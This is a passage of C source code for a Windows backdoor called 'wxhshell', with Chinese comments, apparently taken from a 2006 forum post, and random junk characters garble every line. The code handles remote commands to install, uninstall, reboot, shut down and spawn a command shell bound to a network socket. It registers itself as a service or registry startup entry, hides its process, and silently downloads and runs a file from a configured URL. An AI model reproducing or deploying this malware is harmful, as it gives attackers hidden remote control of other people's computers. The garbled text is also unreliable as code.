    switch(cmd[0]) { o\b-_E5"?  
  2_^aw[-  
  // 帮助 w o bgu  
  case '?': { MK #wut  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MRNNG6TUs  
    break; ED>prE0  
  } tJViA`@x  
  // 安装 n{*D_kM(H  
  case 'i': { "*1 f;+\  
    if(Install())  {^a36i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D,v U  
    else \JEXX4%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m,i,n9C->  
    break; pKiZ)3U  
    } x!LQxoNF  
  // 卸载 f5AjJYq1  
  case 'r': { {%lXYMyu  
    if(Uninstall()) 2Y\ d<.M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {9Y+.46S  
    else D"(L5jR8m@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g[RI.&?  
    break; S{pXs&4O  
    } y;w x?1)  
  // 显示 wxhshell 所在路径 U4f5xUY0)  
  case 'p': { V&8Vw F^-  
    char svExeFile[MAX_PATH]; klg25#t  
    strcpy(svExeFile,"\n\r"); gxz-R?.  
      strcat(svExeFile,ExeFile); !U9|x\BqJ2  
        send(wsh,svExeFile,strlen(svExeFile),0); h,aAw#NE*  
    break; ryF7  
    } O/AaYA&  
  // 重启 xsd_Uu*  
  case 'b': { (wDm*bZ*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g8qgk:}  
    if(Boot(REBOOT)) A1'hlAGF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u0aJu  
    else { lO&3{dOYE  
    closesocket(wsh); {;toI  
    ExitThread(0); 4#x5MM  
    } $3`>{3x$  
    break; ;<yd^Xs  
    } {~!q`Dr3?q  
  // 关机 @1.QEyXG  
  case 'd': { SDu#Yt&mhh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aRG2@5  
    if(Boot(SHUTDOWN)) S5~VD?O,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -p3Re9  
    else { Bj k]ZU0T  
    closesocket(wsh); fVb-$  
    ExitThread(0); \drqG&wl  
    } (py]LBZ  
    break; w0w G-R ?  
    } +fvaUV_-  
  // 获取shell FZ!`B]]le,  
  case 's': { H 0+dV3  
    CmdShell(wsh); \fA{1  
    closesocket(wsh); bM8If"  
    ExitThread(0); mPI8_5V8]  
    break; 0/S_e)U  
  } }ci#>  
  // 退出 3"o"fl  
  case 'x': { s! n<}C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (WJ${OW  
    CloseIt(wsh); ? A(QyaKz  
    break; nKW*Y}VO  
    } x77l~=P+!  
  // 离开 fP.F`V_Y  
  case 'q': { PV|uPuz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^Ge+~o?x  
    closesocket(wsh); j'9"cE5_  
    WSACleanup(); :'#TCDlOb  
    exit(1); TXe$<4"  
    break; XsnF~)YW  
        } LP MU8Er  
  } /pF `8$  
  } :0s]U_h  
x|yEt O&  
  // 提示信息 N<QXmgqx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c478P=g=5  
} Yjx|9_|Xn  
  } v) vkn/:  
&u#&@J  
  return; pdE3r$C  
} ?LvCR_D:  
C@th O  
// shell模块句柄 xg)v0y~  
int CmdShell(SOCKET sock) E<yW\  
{ )M)7"PC  
STARTUPINFO si; cA%%IL$R  
ZeroMemory(&si,sizeof(si)); ]`Oo%$Ue  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M5xCC!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #1>X58I^  
PROCESS_INFORMATION ProcessInfo; 3B1cb[2y  
char cmdline[]="cmd"; >JiltF7H0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sQMFpIrr  
  return 0; DGzw8|/(  
} m!<\WN6g  
[B+W%g(c-  
// 自身启动模式 mEG#>Gg$  
int StartFromService(void) zbq@pj)Qu  
{ 6R=W}q4  
typedef struct Q+YRf3$  
{ 7b<yVP;{  
  DWORD ExitStatus; ULQMG'P^D  
  DWORD PebBaseAddress; hWX% 66  
  DWORD AffinityMask;  cReB~wk  
  DWORD BasePriority; M bb x`  
  ULONG UniqueProcessId; Nm |!#(L  
  ULONG InheritedFromUniqueProcessId; ]xuG&O"SBV  
}   PROCESS_BASIC_INFORMATION; 0qX3v<+[6  
Th=eNL]  
PROCNTQSIP NtQueryInformationProcess; OF\rgz  
L'u\ w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2Lx3=k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aG^4BpIP  
iezO9`  
  HANDLE             hProcess; k{'0[,mx#  
  PROCESS_BASIC_INFORMATION pbi; Yb E-6|cz  
 EW3(cQbK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0:+WO%z  
  if(NULL == hInst ) return 0; y-1 pR  
j$+nKc$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V,$0p1?J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]Ux<aiY]a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5H ue7'LS  
8 XU1 /i7N  
  if (!NtQueryInformationProcess) return 0; 1Z9qjV%^  
3+XOZh8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3`k;a1Z#O'  
  if(!hProcess) return 0; {~F4WjHJp  
KQ~i<1&j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7AObC4 g  
mya_4I m  
  CloseHandle(hProcess); ;Rv!k&Df  
5O\*h;U 6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3g >B"t  
if(hProcess==NULL) return 0; ;aw=MV  
_'(,  
HMODULE hMod; uuQ(&  
char procName[255]; Rj4|Q:XG  
unsigned long cbNeeded; cJrmm2.0kD  
 -4cXRv]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >(;{C<6|^  
 rwI  
  CloseHandle(hProcess); 5F~'gLH/F-  
~-I +9F  
if(strstr(procName,"services")) return 1; // 以服务启动 %HL*c =  
E160A5BTx  
  return 0; // 注册表启动 :53)N v  
} nVi[  
(vTtDKp@  
// 主模块 V>b\[(=s  
int StartWxhshell(LPSTR lpCmdLine) ,gS;m &!'J  
{ m&?#;J|B$  
  SOCKET wsl; +u3=dj"[  
BOOL val=TRUE; h-%R<[  
  int port=0; nX=$EQiH  
  struct sockaddr_in door; f`[R7Q5  
0|a(]a}V*j  
  if(wscfg.ws_autoins) Install(); '#&os`mQ  
T3^GCX|!@  
port=atoi(lpCmdLine); ^_f+15]D  
9<>wIl*T`  
if(port<=0) port=wscfg.ws_port; *FMMjz  
|6$p;Aar  
  WSADATA data; 0:T|S>FsAm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #*KNPh  
lR(+tj)9uO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   svq<)hAf<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TTKs3iTXz  
  door.sin_family = AF_INET; PF53mUs4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =W"F[fD  
  door.sin_port = htons(port); `I3r3WyA  
3nhXZOO1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HBMhtfWW  
closesocket(wsl); \Rp-;.I@6  
return 1; *cgI.+  
} xLC3>>P  
6E^.7%3  
  if(listen(wsl,2) == INVALID_SOCKET) { |fHV2Y`:g  
closesocket(wsl); ;NHt7p8SE  
return 1; RR]CW  
} tfGHea)M  
  Wxhshell(wsl); !s&NT @ S  
  WSACleanup(); yI"6Da6|y  
1#ft#-g}  
return 0; @9lUSk^9  
P9vA7[  
} /%;mqrdk  
hX=A)73(  
// 以NT服务方式启动 d&+h}O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cj1cZ-  
{ ekWePL;rR2  
DWORD   status = 0; f>N!wgo[  
  DWORD   specificError = 0xfffffff; wwyPl  
8]U{;|';  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RE/~#k@a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1fZ(l"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HxIIO[h  
  serviceStatus.dwWin32ExitCode     = 0; Y9&,t\ q  
  serviceStatus.dwServiceSpecificExitCode = 0; rl #p".4q  
  serviceStatus.dwCheckPoint       = 0; BBtzs^C|  
  serviceStatus.dwWaitHint       = 0; 3G(miP6  
%y@Hh=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p{j.KI s7  
  if (hServiceStatusHandle==0) return; [m|YWT=  
AD|2q M))  
status = GetLastError(); j'HZ\_  
  if (status!=NO_ERROR) 70eb]\%  
{ R~S;sJ& c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &FF"nE*  
    serviceStatus.dwCheckPoint       = 0; [rSR:V?"a  
    serviceStatus.dwWaitHint       = 0;  [D<1 CF  
    serviceStatus.dwWin32ExitCode     = status; C,NJb+J  
    serviceStatus.dwServiceSpecificExitCode = specificError; BS:+~|3w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7eV di*  
    return; ;e1ku|>$  
  } U 15H2-`  
<|SRe6m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b)e *$)  
  serviceStatus.dwCheckPoint       = 0; [O?z@)dx  
  serviceStatus.dwWaitHint       = 0; oyYR-4m\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R5X.^u  
} B Ere*J  
!Ikt '5/  
// 处理NT服务事件,比如:启动、停止 ]%IT|/;9Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hMykf4  
{ v#U"pn|M  
switch(fdwControl) 7G/1VeVjB  
{ sXD1C2o  
case SERVICE_CONTROL_STOP: E.Jkf\  
  serviceStatus.dwWin32ExitCode = 0; Qm Ce>+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Yq%9M=#k  
  serviceStatus.dwCheckPoint   = 0; !& z(:d  
  serviceStatus.dwWaitHint     = 0; .MP !`  
  { O vk_\On  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GJoS #s  
  } Z2'Bk2 L  
  return; 1$p2}Bf {n  
case SERVICE_CONTROL_PAUSE: Q|D @Yd\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '|Kmq5)  
  break; .O0 +H+  
case SERVICE_CONTROL_CONTINUE: pQtJc*[!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'a\%L:`  
  break; G}ob<`o|"  
case SERVICE_CONTROL_INTERROGATE: H\0~#(z?.  
  break; f7X6fr<  
}; E: $P=%b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,#L=v]  
} 6er-{.L=  
&C "L  
// 标准应用程序主函数 J /f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JNJ=e,O,  
{ e-"nB]n^/  
H?)w!QX  
// 获取操作系统版本 UHTvCc  
OsIsNt=GetOsVer(); fngOeLVG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5a hVeY  
;;:-l99  
  // 从命令行安装 Wb?8j M  
  if(strpbrk(lpCmdLine,"iI")) Install(); [Z}9>~m  
$D|e>U  
  // 下载执行文件 T<55a6NoK  
if(wscfg.ws_downexe) { P8*=Ls+-F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l%1!a  
  WinExec(wscfg.ws_filenam,SW_HIDE); woD>!r>)  
} j ~1B|,H  
*rIk:FehLB  
if(!OsIsNt) { ;3B1_vo9  
// 如果时win9x,隐藏进程并且设置为注册表启动 NqDHCI  
HideProc(); vM*($qpAy  
StartWxhshell(lpCmdLine); q@nP}Pv&5  
} ~e+\k>^eN  
else gT#&"aP5S  
  if(StartFromService()) \ytJ=0r  
  // 以服务方式启动 c0;t4( &8  
  StartServiceCtrlDispatcher(DispatchTable); /Q2mMSK1h  
else Q=/</|  
  // 普通方式启动 :$m}UA-9  
  StartWxhshell(lpCmdLine); (}EB2V9Hh  
L.jh   
return 0; |ayVjqJ*  
}
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只看该作者 1 发表于: 2006-10-10
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